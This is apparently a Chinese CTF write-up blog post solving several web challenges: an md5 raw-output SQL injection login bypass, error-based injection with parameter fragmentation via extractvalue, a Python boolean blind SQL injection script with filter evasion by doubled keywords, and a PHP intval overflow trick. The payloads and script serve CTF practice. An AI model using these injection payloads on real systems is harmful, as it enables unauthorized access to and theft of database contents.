成长的痛苦,远比后悔的痛苦好。
后台登录
1.查看源码,发现以下内容
<!--?php
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)-->0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
?>
2.刚开始想着直接万能语句来着,后来发现不行。mysql中的运算优先级为:not>and>or 万能语句绕不过的,这题主要考md5生成摘要构成语句注入。
<!--?php
//php进行MD5加密时生成不同长度的方法,有true则为16位
echo "MD5加密ffifdyop生成的16字符消息摘要为---->"."".md5('ffifdyop', true)."","\n";
echo "MD5加密ffifdyop生成的32字符消息摘要为-->"."".md5('ffifdyop')."","\n";
?>
运行结果为:
3.由结果可知,语句变为SELECT * FROM admin WHERE pass=' 'or '6<*****>'
其中<*****>
不必管,条件即为真,所以可绕过。相当于select * from users where username='admin' and password=''or'6fsfdsgfdsgsdg';
恒为真,如图
加了料的报错注入
1.查看源码
// tips:post username and password...
$sql="select * from users where username='$username' and password='$password'";
2.试了不少,还是没头绪,看writeup,发现又是一种新方式。实验吧的题很强啊(哭)
3.有两种解法
方法一:HPF(http parameter fragment)
主要是用/**/构造语句注入,如下。
看版本
username=' and extractvalue/*&password=1*/(1,concat('~',(select version())))or'1
查看数据库名 error_based_hpf
username=' and extractvalue/*&password=1*/(1,concat('~',(select database())))or'1
查表名 ffll44jj,users
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema regexp database())))or'1
# 查列名 id,username,password
# username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 'users')))or'1
# 表名用16形式进制代替
# #username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x7573657273)))or'1
是这个 value(表ffll44jj的字段)
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name regexp 0x66666c6c34346a6a)))or'1
查内容
username=' and extractvalue/*&password=1*/(1,concat('~',(select group_concat(value) from ffll44jj)))or'1
flag{err0r_b4sed_sqli_+_hpf}
方法二:exp()报错注入
因为没有过滤exp()函数,所以可以利用。关于exp()溢出报错注入
认真一点
1.此题有很多坑,总结的话,最应该注意的还是注意每一个细节(有三种反馈信息)之前没管它,模糊测试后,试到怀疑人生。
You are in ................
正常输入且成功You are not in ...............
输入后不成功(在后台删去某些字符串)Sql injection detected!
检测到并且过滤掉的字符串
2.这个肯定是要盲注的,下面是代码。
这里有一个需要注意的,请关掉代码格式自动调整,因为会自动加上空格导致跑不出来。
3.这个题一个很坑的地方是有的字符串它直接去掉,然后显示的是You are not in ...............
所以构造时,需要双写绕过,比如or
要写为oorr
。
import requests
import string
str1 = 'You are in'
url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
allString = string.printable
# 数据库长度
# for i in range(1, 20):
# key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
# r = requests.post(url, data=key)
# print(i)
# if str1 in r.text:
# print('数据库名长度为:', i)
# break
# 数据库名称 ctf_sql_bool_blind
# 这里直接报内容,需要把长度设置合理一点,然后观察结果即可
# database_name = ""
# for i in range(1, 19):
# for ch in allString:
# key = {'id':"0'oorr(mid(database()from(%d)foorr(1))='%s')oorr'0" % (i,ch)}
# # 太慢了,在这里加一个输出,好然自己了解运行情况和payload的内容
# # print(key)
# r = requests.post(url, data = key)
# if str1 in r.text:
# print('第%d个字符为:'%i,ch)
# database_name += ch
# break
# print(database_name)
# # 表名 fiag,users
# tableName = ""
# for i in range(1,20):
# for ch in allString:
# key1 = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%c')oorr'0"%(i, ch)
# key2 = key1.replace(' ', chr(0x0a))
# key = {'id':key2}
# # print(key)
# r = requests.post(url, data = key)
# if str1 in r.text:
# print('第%d个字符为:'%i,ch)
# tableName += ch
# break
# print(tableName)
# # 列名 fl$4g
# columnName = ""
# for i in range(1,20):
# for ch in allString:
# key1 = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%d)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%c')oorr'0"%(i, ch)
# key2 = key1.replace(' ', chr(0x0a))
# key = {'id':key2}
# #print(key)
# r = requests.post(url, data = key)
# if str1 in r.text:
# print('第%d个字符为:'%i,ch)
# columnName += ch
# break
# print(columnName)
# 内容
# 这里空格打印不出来空格,会被转义为*
flag = ""
for i in range(1,20):
for ch in allString:
key1 = "0'oorr((select(mid((fl$4g)from(%d)foorr(1)))from(fiag))='%c')oorr'0"%(i, ch)
key2 = key1.replace(' ', chr(0x0a))
key = {'id':key2}
print(key)
r = requests.post(url, data = key)
if str1 in r.text:
print('第%d个字符为:'%i,ch)
flag += ch
break
print(flag)
你真的会php吗
1.看到题目,八成是代码审计的题,看来又得慢慢查了。产看源码无果后,再看看响应头,发现有个txt文件。
2.访问得到源码(下面的源码是自己添加注释后的,方便观看)
<!--?php
$info = "";
$req = [];
$flag="xxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_POST['number'])){ //不传参数则会在响应头中有hint
header("hint:6c525af454059b4fe7d8c33a.txt");
die("have a fun!!");
}
foreach([$_POST] as $global_var) {
foreach($global_var as $key =--> $value) {
$value = trim($value); //trim() 函数移除字符串两侧的空白字符或其他预定义字符
// 注意:trim()并不能去除已经编码的空字符(如%00,%20)所以下面可以通过加上此内容绕过数字检验
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) { //判断输入的数是否是一个回文数
$number = strval($number); //将数组及类之外的变量类型转换成字符串类型
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number'])){
//不能是数字
$info="sorry, you cann't input a number!";
}elseif($req['number']!=strval(intval($req['number']))){
//输入的值要与其取整后相等,才能绕过此处。
$info = "number must be equal to it's integer!! ";
}else{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"])); //strrev() 函数反转字符串
if($value1!=$value2){ //这里需要是回文数
$info="no, this is not a palindrome number!";
}else{
//这里又不可以是回文数
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}
}
echo $info;
3.可以看到,此题有点变态,在这再进一步描述一下几个函数。
(1)intval()函数:
用于获取变量的整数值。语法为:int intval ( mixed $var [, int $base = 10 ] )
-
intval()
函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval()
不能用于 object,否则会产生E_NOTICE
错误并返回 1。 -
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
-
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是
-2147483648
到2147483647
。
-
64 位系统上,最大带符号的 integer 值是 9223372036854775807。
-
字符串有可能返回 0,虽然取决于字符串最左侧的字符。
(2)其他函数:其实大部分函数从字面上都可以看出其功能,主要是不清楚其是否存在可用的漏洞。这里主要利用了intval()
函数存在的漏洞。
4.解题方法
方法一:利用intval溢出
32位机最大值2^31-1=2147483647
,反转后为7463847412
,但是已经溢出,所以会自动变成2147483647
,根据源码分析可知,number=2147483647%20
可行。
方法二:
第二个思想可以直接使用-0%20
,就不多说了,根据源码走一遍,加深理解。
注:加上%20是因为输入不可为数值,而且intval()
会自动忽略。
5.任意提交上面一个,即可得出flag。